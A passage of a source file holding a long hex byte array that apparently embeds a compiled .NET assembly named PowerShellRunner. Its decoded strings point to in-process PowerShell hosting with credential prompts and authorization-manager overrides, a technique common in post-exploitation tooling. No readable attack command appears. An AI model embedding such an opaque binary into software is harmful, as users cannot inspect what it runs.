0x24,0x00,0xE7,0x22,0x00,0x00,0x00,0x00,0xC6,0x08,0x39,0x04, 250 | 0x60,0x01,0x25,0x00,0xEF,0x22,0x00,0x00,0x00,0x00,0xC6,0x08, 251 | 0x48,0x04,0x01,0x00,0x25,0x00,0xF8,0x22,0x00,0x00,0x00,0x00, 252 | 0xC6,0x00,0x16,0x07,0x06,0x00,0x26,0x00,0x04,0x23,0x00,0x00, 253 | 0x00,0x00,0xC6,0x08,0x51,0x07,0x3B,0x01,0x26,0x00,0x0C,0x23, 254 | 0x00,0x00,0x00,0x00,0xC6,0x08,0x65,0x07,0x40,0x01,0x26,0x00, 255 | 0x15,0x23,0x00,0x00,0x00,0x00,0xC6,0x00,0x28,0x09,0x64,0x01, 256 | 0x27,0x00,0x21,0x23,0x00,0x00,0x00,0x00,0xC6,0x08,0x78,0x01, 257 | 0x73,0x01,0x28,0x00,0x2D,0x23,0x00,0x00,0x00,0x00,0xC6,0x08, 258 | 0x81,0x04,0x46,0x01,0x28,0x00,0x35,0x23,0x00,0x00,0x00,0x00, 259 | 0xC6,0x08,0xB2,0x04,0x46,0x01,0x28,0x00,0x3D,0x23,0x00,0x00, 260 | 0x00,0x00,0xC6,0x00,0xFF,0x09,0x77,0x01,0x28,0x00,0x49,0x23, 261 | 0x00,0x00,0x00,0x00,0xC6,0x00,0x13,0x09,0x80,0x01,0x29,0x00, 262 | 0x55,0x23,0x00,0x00,0x00,0x00,0xC6,0x00,0x3A,0x09,0x90,0x01, 263 | 0x2D,0x00,0x61,0x23,0x00,0x00,0x00,0x00,0xC6,0x00,0x3A,0x09, 264 | 0x9A,0x01,0x2F,0x00,0x6D,0x23,0x00,0x00,0x00,0x00,0xC6,0x08, 265 | 0x76,0x06,0x53,0x01,0x31,0x00,0x75,0x23,0x00,0x00,0x00,0x00, 266 | 0xC6,0x08,0x89,0x06,0x59,0x01,0x31,0x00,0x7E,0x23,0x00,0x00, 267 | 0x00,0x00,0xC6,0x08,0x63,0x04,0x46,0x01,0x32,0x00,0x86,0x23, 268 | 0x00,0x00,0x00,0x00,0xC6,0x08,0x72,0x04,0x4C,0x01,0x32,0x00, 269 | 0x8F,0x23,0x00,0x00,0x00,0x00,0xC6,0x08,0xA9,0x01,0x94,0x00, 270 | 0x33,0x00,0x97,0x23,0x00,0x00,0x00,0x00,0xC6,0x08,0xB9,0x01, 271 | 0x10,0x00,0x33,0x00,0xA0,0x23,0x00,0x00,0x00,0x00,0x86,0x18, 272 | 0xD0,0x07,0x06,0x00,0x34,0x00,0x00,0x00,0x01,0x00,0xB8,0x00, 273 | 0x00,0x00,0x01,0x00,0x60,0x01,0x00,0x00,0x01,0x00,0x7A,0x07, 274 | 0x00,0x00,0x02,0x00,0xB3,0x07,0x00,0x00,0x03,0x00,0x09,0x04, 275 | 0x00,0x00,0x01,0x00,0x7A,0x07,0x00,0x00,0x02,0x00,0xB3,0x07, 276 | 0x00,0x00,0x03,0x00,0x09,0x04,0x00,0x00,0x01,0x00,0x09,0x04, 277 | 0x00,0x00,0x01,0x00,0x69,0x01,0x00,0x00,0x01,0x00,0x09,0x04, 278 | 0x00,0x00,0x01,0x00,0x09,0x04,0x00,0x00,0x01,0x00,0x69,0x01, 279 | 0x00,0x00,0x01,0x00,0x69,0x01,0x00,0x00,0x01,0x00,0x81,0x00, 280 | 0x00,0x00,0x02,0x00,0xD6,0x00,0x00,0x00,0x01,0x00,0xAC,0x06, 281 | 0x00,0x00,0x02,0x00,0x69,0x01,0x00,0x00,0x03,0x00,0xE1,0x08, 282 | 0x00,0x00,0x01,0x00,0xAC,0x06,0x00,0x00,0x02,0x00,0x69,0x01, 283 | 0x00,0x00,0x03,0x00,0x1D,0x08,0x00,0x00,0x04,0x00,0x4B,0x01, 284 | 0x00,0x00,0x01,0x00,0xAC,0x06,0x00,0x00,0x02,0x00,0x69,0x01, 285 | 0x00,0x00,0x03,0x00,0xDF,0x01,0x00,0x00,0x04,0x00,0xE8,0x01, 286 | 0x00,0x00,0x05,0x00,0x85,0x08,0x00,0x00,0x06,0x00,0xEE,0x08, 287 | 0x00,0x00,0x01,0x00,0xAC,0x06,0x00,0x00,0x02,0x00,0x69,0x01, 288 | 0x00,0x00,0x03,0x00,0xDF,0x01,0x00,0x00,0x04,0x00,0xE8,0x01, 289 | 0x00,0x00,0x01,0x00,0x09,0x04,0x00,0x00,0x01,0x00,0x09,0x04, 290 | 0x00,0x00,0x01,0x00,0x09,0x04,0x00,0x00,0x01,0x00,0x09,0x04, 291 | 0x00,0x00,0x01,0x00,0x09,0x04,0x00,0x00,0x01,0x00,0x9F,0x01, 292 | 0x00,0x00,0x01,0x00,0xEE,0x08,0x00,0x00,0x01,0x00,0x59,0x01, 293 | 0x00,0x00,0x02,0x00,0xFB,0x05,0x00,0x00,0x03,0x00,0x03,0x07, 294 | 0x00,0x00,0x04,0x00,0x85,0x05,0x00,0x00,0x01,0x00,0x9F,0x01, 295 | 0x00,0x00,0x02,0x00,0x85,0x05,0x00,0x00,0x01,0x00,0x9F,0x05, 296 | 0x00,0x00,0x02,0x00,0x4C,0x09,0x00,0x00,0x01,0x00,0x09,0x04, 297 | 0x00,0x00,0x01,0x00,0x09,0x04,0x00,0x00,0x01,0x00,0x09,0x04, 298 | 0x09,0x00,0xD0,0x07,0x01,0x00,0x11,0x00,0xD0,0x07,0x06,0x00, 299 | 0x19,0x00,0xD0,0x07,0x0A,0x00,0x29,0x00,0xD0,0x07,0x10,0x00, 300 | 0x31,0x00,0xD0,0x07,0x10,0x00,0x39,0x00,0xD0,0x07,0x10,0x00, 301 | 0x41,0x00,0xD0,0x07,0x10,0x00,0x49,0x00,0xD0,0x07,0x10,0x00, 302 | 0x51,0x00,0xD0,0x07,0x10,0x00,0x59,0x00,0xD0,0x07,0x10,0x00, 303 | 0x61,0x00,0xD0,0x07,0x15,0x00,0x69,0x00,0xD0,0x07,0x10,0x00, 304 | 0x71,0x00,0xD0,0x07,0x10,0x00,0x81,0x00,0x7E,0x09,0x25,0x00, 305 | 0x81,0x00,0xA4,0x02,0x2A,0x00,0x81,0x00,0x27,0x07,0x31,0x00, 306 | 0x69,0x01,0x2C,0x01,0x38,0x00,0x89,0x00,0x9A,0x05,0x06,0x00, 307 | 0x89,0x00,0x51,0x02,0x41,0x00,0x91,0x00,0xE9,0x07,0x46,0x00, 308 | 0x71,0x01,0x8C,0x09,0x10,0x00,0x0C,0x00,0x8A,0x05,0x54,0x00, 309 | 0x79,0x01,0x04,0x09,0x5A,0x00,0x71,0x01,0xA4,0x00,0x10,0x00, 310 | 0x91,0x00,0x71,0x01,0x64,0x00,0x89,0x01,0x88,0x02,0x06,0x00, 311 | 0x99,0x00,0x24,0x00,0x6D,0x00,0x79,0x00,0xD0,0x07,0x06,0x00, 312 | 0xA9,0x00,0xD0,0x07,0x72,0x00,0x91,0x01,0x92,0x00,0x78,0x00, 313 | 0x91,0x01,0x75,0x02,0x7E,0x00,0x91,0x01,0x60,0x02,0x7E,0x00, 314 | 0x99,0x01,0xD0,0x07,0x10,0x00,0xA1,0x00,0xA8,0x00,0x83,0x00, 315 | 0x99,0x00,0xD0,0x07,0x06,0x00,0xB1,0x00,0xD0,0x07,0x06,0x00, 316 | 0xC1,0x00,0xD0,0x07,0x06,0x00,0xC1,0x00,0xC0,0x00,0x88,0x00, 317 | 0xA1,0x01,0x55,0x09,0x8E,0x00,0xC1,0x00,0xFC,0x01,0x88,0x00, 318 | 0x79,0x00,0x07,0x05,0x94,0x00,0x29,0x01,0x10,0x05,0x01,0x00, 319 | 0x29,0x01,0x65,0x09,0x01,0x00,0x31,0x01,0x3E,0x00,0x01,0x00, 320 | 0x31,0x01,0x44,0x00,0x01,0x00,0x19,0x01,0xD0,0x07,0x06,0x00, 321 | 0x2E,0x00,0x0B,0x00,0xE1,0x01,0x2E,0x00,0x13,0x00,0xEA,0x01, 322 | 0x2E,0x00,0x1B,0x00,0x09,0x02,0x2E,0x00,0x23,0x00,0x12,0x02, 323 | 0x2E,0x00,0x2B,0x00,0x28,0x02,0x2E,0x00,0x33,0x00,0x28,0x02, 324 | 0x2E,0x00,0x3B,0x00,0x28,0x02,0x2E,0x00,0x43,0x00,0x12,0x02, 325 | 0x2E,0x00,0x4B,0x00,0x2E,0x02,0x2E,0x00,0x53,0x00,0x28,0x02, 326 | 0x2E,0x00,0x5B,0x00,0x28,0x02,0x2E,0x00,0x63,0x00,0x46,0x02, 327 | 0x2E,0x00,0x6B,0x00,0x70,0x02,0x1A,0x00,0x98,0x00,0x03,0x00, 328 | 0x01,0x00,0x04,0x00,0x07,0x00,0x05,0x00,0x09,0x00,0x00,0x00, 329 | 0x76,0x00,0xAA,0x01,0x00,0x00,0xEE,0x01,0xAF,0x01,0x00,0x00, 330 | 0xAA,0x05,0xB3,0x01,0x00,0x00,0x32,0x00,0xB8,0x01,0x00,0x00, 331 | 0x79,0x02,0xBD,0x01,0x00,0x00,0x64,0x02,0xBD,0x01,0x00,0x00, 332 | 0xEC,0x09,0xAF,0x01,0x00,0x00,0x2F,0x00,0xC2,0x01,0x00,0x00, 333 | 0xA2,0x07,0xC8,0x01,0x00,0x00,0x22,0x04,0xCD,0x01,0x00,0x00, 334 | 0x57,0x06,0xD3,0x01,0x00,0x00,0x4C,0x04,0xD9,0x01,0x00,0x00, 335 | 0x69,0x07,0xC8,0x01,0x00,0x00,0x7C,0x01,0xDD,0x01,0x00,0x00, 336 | 0x85,0x04,0xCD,0x01,0x00,0x00,0xB6,0x04,0xCD,0x01,0x00,0x00, 337 | 0x8D,0x06,0xD3,0x01,0x00,0x00,0xC8,0x04,0xCD,0x01,0x00,0x00, 338 | 0xBD,0x01,0xAF,0x01,0x02,0x00,0x03,0x00,0x03,0x00,0x02,0x00, 339 | 0x04,0x00,0x05,0x00,0x02,0x00,0x05,0x00,0x07,0x00,0x02,0x00, 340 | 0x06,0x00,0x09,0x00,0x02,0x00,0x07,0x00,0x0B,0x00,0x02,0x00, 341 | 0x08,0x00,0x0D,0x00,0x02,0x00,0x1A,0x00,0x0F,0x00,0x02,0x00, 342 | 0x1F,0x00,0x11,0x00,0x02,0x00,0x22,0x00,0x13,0x00,0x01,0x00, 343 | 0x23,0x00,0x13,0x00,0x02,0x00,0x24,0x00,0x15,0x00,0x01,0x00, 344 | 0x25,0x00,0x15,0x00,0x02,0x00,0x26,0x00,0x17,0x00,0x01,0x00, 345 | 0x27,0x00,0x17,0x00,0x02,0x00,0x28,0x00,0x19,0x00,0x01,0x00, 346 | 0x29,0x00,0x19,0x00,0x02,0x00,0x2B,0x00,0x1B,0x00,0x01,0x00, 347 | 0x2C,0x00,0x1B,0x00,0x02,0x00,0x2E,0x00,0x1D,0x00,0x02,0x00, 348 | 0x2F,0x00,0x1F,0x00,0x02,0x00,0x30,0x00,0x21,0x00,0x02,0x00, 349 | 0x35,0x00,0x23,0x00,0x01,0x00,0x36,0x00,0x23,0x00,0x02,0x00, 350 | 0x37,0x00,0x25,0x00,0x01,0x00,0x38,0x00,0x25,0x00,0x02,0x00, 351 | 0x39,0x00,0x27,0x00,0x01,0x00,0x3A,0x00,0x27,0x00,0x4C,0x00, 352 | 0x04,0x80,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 353 | 0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x07,0x00,0x00,0x02,0x00, 354 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xA1,0x00, 355 | 0x4A,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00, 356 | 0x00,0x00,0x00,0x00,0x00,0x00,0xAA,0x00,0xDE,0x05,0x00,0x00, 357 | 0x00,0x00,0x03,0x00,0x02,0x00,0x04,0x00,0x02,0x00,0x05,0x00, 358 | 0x02,0x00,0x00,0x00,0x00,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74, 359 | 0x69,0x6F,0x6E,0x60,0x31,0x00,0x44,0x69,0x63,0x74,0x69,0x6F, 360 | 0x6E,0x61,0x72,0x79,0x60,0x32,0x00,0x3C,0x4D,0x6F,0x64,0x75, 361 | 0x6C,0x65,0x3E,0x00,0x67,0x65,0x74,0x5F,0x55,0x49,0x00,0x67, 362 | 0x65,0x74,0x5F,0x52,0x61,0x77,0x55,0x49,0x00,0x49,0x6E,0x76, 363 | 0x6F,0x6B,0x65,0x50,0x53,0x00,0x73,0x65,0x74,0x5F,0x58,0x00, 364 | 0x73,0x65,0x74,0x5F,0x59,0x00,0x6D,0x73,0x63,0x6F,0x72,0x6C, 365 | 0x69,0x62,0x00,0x5F,0x73,0x62,0x00,0x53,0x79,0x73,0x74,0x65, 366 | 0x6D,0x2E,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E, 367 | 0x73,0x2E,0x47,0x65,0x6E,0x65,0x72,0x69,0x63,0x00,0x67,0x65, 368 | 0x74,0x5F,0x49,0x6E,0x73,0x74,0x61,0x6E,0x63,0x65,0x49,0x64, 369 | 0x00,0x73,0x6F,0x75,0x72,0x63,0x65,0x49,0x64,0x00,0x5F,0x68, 370 | 0x6F,0x73,0x74,0x49,0x64,0x00,0x67,0x65,0x74,0x5F,0x43,0x75, 371 | 0x72,0x72,0x65,0x6E,0x74,0x54,0x68,0x72,0x65,0x61,0x64,0x00, 372 | 0x41,0x64,0x64,0x00,0x4E,0x65,0x77,0x47,0x75,0x69,0x64,0x00, 373 | 0x43,0x6F,0x6D,0x6D,0x61,0x6E,0x64,0x00,0x63,0x6F,0x6D,0x6D, 374 | 0x61,0x6E,0x64,0x00,0x41,0x70,0x70,0x65,0x6E,0x64,0x00,0x50, 375 | 0x72,0x6F,0x67,0x72,0x65,0x73,0x73,0x52,0x65,0x63,0x6F,0x72, 376 | 0x64,0x00,0x72,0x65,0x63,0x6F,0x72,0x64,0x00,0x43,0x75,0x73, 377 | 0x74,0x6F,0x6D,0x50,0x53,0x48,0x6F,0x73,0x74,0x55,0x73,0x65, 378 | 0x72,0x49,0x6E,0x74,0x65,0x72,0x66,0x61,0x63,0x65,0x00,0x43, 379 | 0x75,0x73,0x74,0x6F,0x6D,0x50,0x53,0x52,0x48,0x6F,0x73,0x74, 380 | 0x52,0x61,0x77,0x55,0x73,0x65,0x72,0x49,0x6E,0x74,0x65,0x72, 381 | 0x66,0x61,0x63,0x65,0x00,0x50,0x53,0x48,0x6F,0x73,0x74,0x52, 382 | 0x61,0x77,0x55,0x73,0x65,0x72,0x49,0x6E,0x74,0x65,0x72,0x66, 383 | 0x61,0x63,0x65,0x00,0x43,0x72,0x65,0x61,0x74,0x65,0x52,0x75, 384 | 0x6E,0x73,0x70,0x61,0x63,0x65,0x00,0x50,0x72,0x6F,0x6D,0x70, 385 | 0x74,0x46,0x6F,0x72,0x43,0x68,0x6F,0x69,0x63,0x65,0x00,0x64, 386 | 0x65,0x66,0x61,0x75,0x6C,0x74,0x43,0x68,0x6F,0x69,0x63,0x65, 387 | 0x00,0x73,0x6F,0x75,0x72,0x63,0x65,0x00,0x65,0x78,0x69,0x74, 388 | 0x43,0x6F,0x64,0x65,0x00,0x6D,0x65,0x73,0x73,0x61,0x67,0x65, 389 | 0x00,0x49,0x6E,0x76,0x6F,0x6B,0x65,0x00,0x67,0x65,0x74,0x5F, 390 | 0x4B,0x65,0x79,0x41,0x76,0x61,0x69,0x6C,0x61,0x62,0x6C,0x65, 391 | 0x00,0x49,0x44,0x69,0x73,0x70,0x6F,0x73,0x61,0x62,0x6C,0x65, 392 | 0x00,0x52,0x65,0x63,0x74,0x61,0x6E,0x67,0x6C,0x65,0x00,0x72, 393 | 0x65,0x63,0x74,0x61,0x6E,0x67,0x6C,0x65,0x00,0x67,0x65,0x74, 394 | 0x5F,0x57,0x69,0x6E,0x64,0x6F,0x77,0x54,0x69,0x74,0x6C,0x65, 395 | 0x00,0x73,0x65,0x74,0x5F,0x57,0x69,0x6E,0x64,0x6F,0x77,0x54, 396 | 0x69,0x74,0x6C,0x65,0x00,0x5F,0x77,0x69,0x6E,0x64,0x6F,0x77, 397 | 0x54,0x69,0x74,0x6C,0x65,0x00,0x67,0x65,0x74,0x5F,0x4E,0x61, 398 | 0x6D,0x65,0x00,0x75,0x73,0x65,0x72,0x4E,0x61,0x6D,0x65,0x00, 399 | 0x74,0x61,0x72,0x67,0x65,0x74,0x4E,0x61,0x6D,0x65,0x00,0x52, 400 | 0x65,0x61,0x64,0x4C,0x69,0x6E,0x65,0x00,0x41,0x70,0x70,0x65, 401 | 0x6E,0x64,0x4C,0x69,0x6E,0x65,0x00,0x57,0x72,0x69,0x74,0x65, 402 | 0x56,0x65,0x72,0x62,0x6F,0x73,0x65,0x4C,0x69,0x6E,0x65,0x00, 403 | 0x57,0x72,0x69,0x74,0x65,0x4C,0x69,0x6E,0x65,0x00,0x57,0x72, 404 | 0x69,0x74,0x65,0x57,0x61,0x72,0x6E,0x69,0x6E,0x67,0x4C,0x69, 405 | 0x6E,0x65,0x00,0x57,0x72,0x69,0x74,0x65,0x44,0x65,0x62,0x75, 406 | 0x67,0x4C,0x69,0x6E,0x65,0x00,0x57,0x72,0x69,0x74,0x65,0x45, 407 | 0x72,0x72,0x6F,0x72,0x4C,0x69,0x6E,0x65,0x00,0x43,0x72,0x65, 408 | 0x61,0x74,0x65,0x50,0x69,0x70,0x65,0x6C,0x69,0x6E,0x65,0x00, 409 | 0x67,0x65,0x74,0x5F,0x43,0x75,0x72,0x72,0x65,0x6E,0x74,0x55, 410 | 0x49,0x43,0x75,0x6C,0x74,0x75,0x72,0x65,0x00,0x67,0x65,0x74, 411 | 0x5F,0x43,0x75,0x72,0x72,0x65,0x6E,0x74,0x43,0x75,0x6C,0x74, 412 | 0x75,0x72,0x65,0x00,0x44,0x69,0x73,0x70,0x6F,0x73,0x65,0x00, 413 | 0x49,0x6E,0x69,0x74,0x69,0x61,0x6C,0x53,0x65,0x73,0x73,0x69, 414 | 0x6F,0x6E,0x53,0x74,0x61,0x74,0x65,0x00,0x73,0x65,0x74,0x5F, 415 | 0x41,0x70,0x61,0x72,0x74,0x6D,0x65,0x6E,0x74,0x53,0x74,0x61, 416 | 0x74,0x65,0x00,0x57,0x72,0x69,0x74,0x65,0x00,0x47,0x75,0x69, 417 | 0x64,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x44, 418 | 0x65,0x62,0x75,0x67,0x67,0x61,0x62,0x6C,0x65,0x41,0x74,0x74, 419 | 0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x43,0x6F,0x6D,0x56,0x69, 420 | 0x73,0x69,0x62,0x6C,0x65,0x41,0x74,0x74,0x72,0x69,0x62,0x75, 421 | 0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x54, 422 | 0x69,0x74,0x6C,0x65,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74, 423 | 0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x54,0x72, 424 | 0x61,0x64,0x65,0x6D,0x61,0x72,0x6B,0x41,0x74,0x74,0x72,0x69, 425 | 0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C, 426 | 0x79,0x46,0x69,0x6C,0x65,0x56,0x65,0x72,0x73,0x69,0x6F,0x6E, 427 | 0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73, 428 | 0x73,0x65,0x6D,0x62,0x6C,0x79,0x43,0x6F,0x6E,0x66,0x69,0x67, 429 | 0x75,0x72,0x61,0x74,0x69,0x6F,0x6E,0x41,0x74,0x74,0x72,0x69, 430 | 0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62,0x6C, 431 | 0x79,0x44,0x65,0x73,0x63,0x72,0x69,0x70,0x74,0x69,0x6F,0x6E, 432 | 0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x43,0x6F, 433 | 0x6D,0x70,0x69,0x6C,0x61,0x74,0x69,0x6F,0x6E,0x52,0x65,0x6C, 434 | 0x61,0x78,0x61,0x74,0x69,0x6F,0x6E,0x73,0x41,0x74,0x74,0x72, 435 | 0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D,0x62, 436 | 0x6C,0x79,0x50,0x72,0x6F,0x64,0x75,0x63,0x74,0x41,0x74,0x74, 437 | 0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73,0x73,0x65,0x6D, 438 | 0x62,0x6C,0x79,0x43,0x6F,0x70,0x79,0x72,0x69,0x67,0x68,0x74, 439 | 0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x41,0x73, 440 | 0x73,0x65,0x6D,0x62,0x6C,0x79,0x43,0x6F,0x6D,0x70,0x61,0x6E, 441 | 0x79,0x41,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x00,0x52, 442 | 0x75,0x6E,0x74,0x69,0x6D,0x65,0x43,0x6F,0x6D,0x70,0x61,0x74, 443 | 0x69,0x62,0x69,0x6C,0x69,0x74,0x79,0x41,0x74,0x74,0x72,0x69, 444 | 0x62,0x75,0x74,0x65,0x00,0x76,0x61,0x6C,0x75,0x65,0x00,0x67, 445 | 0x65,0x74,0x5F,0x42,0x75,0x66,0x66,0x65,0x72,0x53,0x69,0x7A, 446 | 0x65,0x00,0x73,0x65,0x74,0x5F,0x42,0x75,0x66,0x66,0x65,0x72, 447 | 0x53,0x69,0x7A,0x65,0x00,0x5F,0x62,0x75,0x66,0x66,0x65,0x72, 448 | 0x53,0x69,0x7A,0x65,0x00,0x67,0x65,0x74,0x5F,0x43,0x75,0x72, 449 | 0x73,0x6F,0x72,0x53,0x69,0x7A,0x65,0x00,0x73,0x65,0x74,0x5F, 450 | 0x43,0x75,0x72,0x73,0x6F,0x72,0x53,0x69,0x7A,0x65,0x00,0x5F, 451 | 0x63,0x75,0x72,0x73,0x6F,0x72,0x53,0x69,0x7A,0x65,0x00,0x67, 452 | 0x65,0x74,0x5F,0x57,0x69,0x6E,0x64,0x6F,0x77,0x53,0x69,0x7A, 453 | 0x65,0x00,0x73,0x65,0x74,0x5F,0x57,0x69,0x6E,0x64,0x6F,0x77, 454 | 0x53,0x69,0x7A,0x65,0x00,0x67,0x65,0x74,0x5F,0x4D,0x61,0x78, 455 | 0x50,0x68,0x79,0x73,0x69,0x63,0x61,0x6C,0x57,0x69,0x6E,0x64, 456 | 0x6F,0x77,0x53,0x69,0x7A,0x65,0x00,0x5F,0x6D,0x61,0x78,0x50, 457 | 0x68,0x79,0x73,0x69,0x63,0x61,0x6C,0x57,0x69,0x6E,0x64,0x6F, 458 | 0x77,0x53,0x69,0x7A,0x65,0x00,0x67,0x65,0x74,0x5F,0x4D,0x61, 459 | 0x78,0x57,0x69,0x6E,0x64,0x6F,0x77,0x53,0x69,0x7A,0x65,0x00, 460 | 0x5F,0x6D,0x61,0x78,0x57,0x69,0x6E,0x64,0x6F,0x77,0x53,0x69, 461 | 0x7A,0x65,0x00,0x5F,0x77,0x69,0x6E,0x64,0x6F,0x77,0x53,0x69, 462 | 0x7A,0x65,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x2E,0x54,0x68, 463 | 0x72,0x65,0x61,0x64,0x69,0x6E,0x67,0x00,0x52,0x65,0x61,0x64, 464 | 0x4C,0x69,0x6E,0x65,0x41,0x73,0x53,0x65,0x63,0x75,0x72,0x65, 465 | 0x53,0x74,0x72,0x69,0x6E,0x67,0x00,0x54,0x6F,0x53,0x74,0x72, 466 | 0x69,0x6E,0x67,0x00,0x73,0x65,0x74,0x5F,0x57,0x69,0x64,0x74, 467 | 0x68,0x00,0x5F,0x72,0x61,0x77,0x55,0x69,0x00,0x5F,0x75,0x69, 468 | 0x00,0x50,0x53,0x43,0x72,0x65,0x64,0x65,0x6E,0x74,0x69,0x61, 469 | 0x6C,0x00,0x50,0x72,0x6F,0x6D,0x70,0x74,0x46,0x6F,0x72,0x43, 470 | 0x72,0x65,0x64,0x65,0x6E,0x74,0x69,0x61,0x6C,0x00,0x53,0x79, 471 | 0x73,0x74,0x65,0x6D,0x2E,0x43,0x6F,0x6C,0x6C,0x65,0x63,0x74, 472 | 0x69,0x6F,0x6E,0x73,0x2E,0x4F,0x62,0x6A,0x65,0x63,0x74,0x4D, 473 | 0x6F,0x64,0x65,0x6C,0x00,0x50,0x6F,0x77,0x65,0x72,0x53,0x68, 474 | 0x65,0x6C,0x6C,0x52,0x75,0x6E,0x6E,0x65,0x72,0x2E,0x64,0x6C, 475 | 0x6C,0x00,0x42,0x75,0x66,0x66,0x65,0x72,0x43,0x65,0x6C,0x6C, 476 | 0x00,0x66,0x69,0x6C,0x6C,0x00,0x67,0x65,0x74,0x5F,0x49,0x74, 477 | 0x65,0x6D,0x00,0x53,0x79,0x73,0x74,0x65,0x6D,0x00,0x4F,0x70, 478 | 0x65,0x6E,0x00,0x6F,0x72,0x69,0x67,0x69,0x6E,0x00,0x67,0x65, 479 | 0x74,0x5F,0x56,0x65,0x72,0x73,0x69,0x6F,0x6E,0x00,0x4E,0x6F, 480 | 0x74,0x69,0x66,0x79,0x45,0x6E,0x64,0x41,0x70,0x70,0x6C,0x69, 481 | 0x63,0x61,0x74,0x69,0x6F,0x6E,0x00,0x4E,0x6F,0x74,0x69,0x66, 482 | 0x79,0x42,0x65,0x67,0x69,0x6E,0x41,0x70,0x70,0x6C,0x69,0x63, 483 | 0x61,0x74,0x69,0x6F,0x6E,0x00,0x53,0x79,0x73,0x74,0x65,0x6D, 484 | 0x2E,0x4D,0x61,0x6E,0x61,0x67,0x65,0x6D,0x65,0x6E,0x74,0x2E, 485 | 0x41,0x75,0x74,0x6F,0x6D,0x61,0x74,0x69,0x6F,0x6E,0x00,0x64, 486 | 0x65,0x73,0x74,0x69,0x6E,0x61,0x74,0x69,0x6F,0x6E,0x00,0x53, 487 | 0x79,0x73,0x74,0x65,0x6D,0x2E,0x47,0x6C,0x6F,0x62,0x61,0x6C, 488 | 0x69,0x7A,0x61,0x74,0x69,0x6F,0x6E,0x00,0x53,0x79,0x73,0x74, 489 | 0x65,0x6D,0x2E,0x52,0x65,0x66,0x6C,0x65,0x63,0x74,0x69,0x6F, 490 | 0x6E,0x00,0x43,0x6F,0x6D,0x6D,0x61,0x6E,0x64,0x43,0x6F,0x6C, 491 | 0x6C,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x67,0x65,0x74,0x5F, 492 | 0x43,0x75,0x72,0x73,0x6F,0x72,0x50,0x6F,0x73,0x69,0x74,0x69, 493 | 0x6F,0x6E,0x00,0x73,0x65,0x74,0x5F,0x43,0x75,0x72,0x73,0x6F, 494 | 0x72,0x50,0x6F,0x73,0x69,0x74,0x69,0x6F,0x6E,0x00,0x5F,0x63, 495 | 0x75,0x72,0x73,0x6F,0x72,0x50,0x6F,0x73,0x69,0x74,0x69,0x6F, 496 | 0x6E,0x00,0x67,0x65,0x74,0x5F,0x57,0x69,0x6E,0x64,0x6F,0x77, 497 | 0x50,0x6F,0x73,0x69,0x74,0x69,0x6F,0x6E,0x00,0x73,0x65,0x74, 498 | 0x5F,0x57,0x69,0x6E,0x64,0x6F,0x77,0x50,0x6F,0x73,0x69,0x74, 499 | 0x69,0x6F,0x6E,0x00,0x5F,0x77,0x69,0x6E,0x64,0x6F,0x77,0x50, 500 | 0x6F,0x73,0x69,0x74,0x69,0x6F,0x6E,0x00,0x63,0x61,0x70,0x74, 501 | 0x69,0x6F,0x6E,0x00,0x4E,0x6F,0x74,0x49,0x6D,0x70,0x6C,0x65, 502 | 0x6D,0x65,0x6E,0x74,0x65,0x64,0x45,0x78,0x63,0x65,0x70,0x74, 503 | 0x69,0x6F,0x6E,0x00,0x46,0x69,0x65,0x6C,0x64,0x44,0x65,0x73, 504 | 0x63,0x72,0x69,0x70,0x74,0x69,0x6F,0x6E,0x00,0x43,0x68,0x6F, 505 | 0x69,0x63,0x65,0x44,0x65,0x73,0x63,0x72,0x69,0x70,0x74,0x69, 506 | 0x6F,0x6E,0x00,0x43,0x75,0x6C,0x74,0x75,0x72,0x65,0x49,0x6E, 507 | 0x66,0x6F,0x00,0x4B,0x65,0x79,0x49,0x6E,0x66,0x6F,0x00,0x63, 508 | 0x6C,0x69,0x70,0x00,0x53,0x74,0x72,0x69,0x6E,0x67,0x42,0x75, 509 | 0x69,0x6C,0x64,0x65,0x72,0x00,0x46,0x6C,0x75,0x73,0x68,0x49, 510 | 0x6E,0x70,0x75,0x74,0x42,0x75,0x66,0x66,0x65,0x72,0x00,0x73, 511 | 0x65,0x74,0x5F,0x41,0x75,0x74,0x68,0x6F,0x72,0x69,0x7A,0x61, 512 | 0x74,0x69,0x6F,0x6E,0x4D,0x61,0x6E,0x61,0x67,0x65,0x72,0x00, 513 | 0x50,0x6F,0x77,0x65,0x72,0x53,0x68,0x65,0x6C,0x6C,0x52,0x75, 514 | 0x6E,0x6E,0x65,0x72,0x00,0x67,0x65,0x74,0x5F,0x46,0x6F,0x72, 515 | 0x65,0x67,0x72,0x6F,0x75,0x6E,0x64,0x43,0x6F,0x6C,0x6F,0x72, 516 | 0x00,0x73,0x65,0x74,0x5F,0x46,0x6F,0x72,0x65,0x67,0x72,0x6F, 517 | 0x75,0x6E,0x64,0x43,0x6F,0x6C,0x6F,0x72,0x00,0x5F,0x66,0x6F, 518 | 0x72,0x65,0x67,0x72,0x6F,0x75,0x6E,0x64,0x43,0x6F,0x6C,0x6F, 519 | 0x72,0x00,0x67,0x65,0x74,0x5F,0x42,0x61,0x63,0x6B,0x67,0x72, 520 | 